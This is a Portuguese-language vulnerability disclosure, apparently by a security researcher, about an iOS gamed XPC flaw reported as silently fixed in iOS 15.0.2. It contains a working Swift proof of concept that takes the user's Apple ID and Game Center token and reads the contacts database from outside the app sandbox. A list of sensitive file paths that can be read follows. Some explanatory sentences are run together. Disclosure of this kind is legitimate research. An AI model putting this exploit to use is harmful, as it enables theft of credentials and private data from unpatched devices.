
iOS gamed exploit (fixed in 15.0.2)
Atualização: a Apple corrigiu isso silenciosamente no iOS 15.0.2 sem qualquer tipo de reconhecimento ou crédito público.
Qualquer aplicativo instalado pela App Store pode acessar os seguintes dados sem qualquer aviso ao usuário:
Aqui está uma breve prova de conceito.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Como isso acontece:
com.apple.gamed não verifica corretamente a entitlement com.apple.developer.game-centergetServicesForPID:localPlayer:reply: retorna vários objetos proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).com.apple.developer.game-center), invocar authenticatePlayerWithExistingCredentialsWithHandler: em GKAccountService retorna um objeto contendo o Apple ID do usuário, o DSID e o token de autenticação do Game Center (que permite enviar solicitações a https://gc.apple.com em nome do usuário). Invocar getProfilesForPlayerIDs:handler: em retorna um objeto contendo o primeiro e o último nome do Apple ID do usuário. Invocar em retorna um objeto com informações sobre os amigos do usuário no Game Center.Na página do Apple Security Bounty Program esta vulnerabilidade é avaliada em US$ 100.000 (Acesso amplo do aplicativo a dados sensíveis normalmente protegidos por um aviso de TCC ou pelo sandbox da plataforma. O acesso a “dados sensíveis” inclui obter acesso amplo (ou seja, o banco de dados completo) aos Contatos).
GKProfileServicegetFriendsForPlayer:handler:GKFriendServicecom.apple.developer.game-center, invocar requestImageDataForURL:subdirectory:fileName:handler: em GKUtilityService permite ler arquivos arbitrários fora do sandbox do aplicativo passando URLs de arquivos para esse método. Entre os arquivos (mas não se limitando a) que podem ser acessados dessa forma estão os seguintes:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contém o cache do MobileGestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - contém uma lista de contatos de Mail, SMS, iMessage, aplicativos de mensagens de terceiros e metadados sobre a interação do usuário com esses contatos (incluindo carimbos de data/hora e estatísticas)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contém contatos favoritos e seus números de telefone
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - contém o banco de dados completo da Agenda de Endereços
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contém fotos dos contatos da Agenda de EndereçoscacheImageData:inSubdirectory:withFileName:handler: em GKUtilityService pode permitir gravar dados arbitrários em um local fora do sandbox do aplicativo.